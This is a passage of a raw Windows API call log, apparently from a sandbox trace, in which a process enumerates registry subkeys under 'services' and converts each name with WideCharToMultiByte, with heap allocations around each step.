returned 1 [0227.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.142] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0227.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0227.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0227.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.142] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0227.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0227.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.142] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.142] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0227.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0227.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.143] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0227.143] RegCloseKey (hKey=0x154) returned 0x0 [0227.143] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0227.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0227.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.143] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0227.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0227.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1d18, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0227.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.143] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.143] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0227.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0227.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1ad8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0227.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.144] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0227.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0227.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1d18, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0227.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.144] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0227.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0227.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1ad8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0227.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.144] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0227.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0227.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1d18, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0227.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.144] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.145] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0227.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0227.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.145] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0227.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0227.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.145] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0227.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0227.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.145] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0227.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0227.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.146] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0227.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0227.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1ad8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0227.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.146] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0227.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0227.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.146] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0227.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0227.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.146] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.147] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0227.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0227.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.147] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0227.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0227.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.147] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0227.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0227.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.147] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.147] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0227.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0227.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.149] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0227.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, 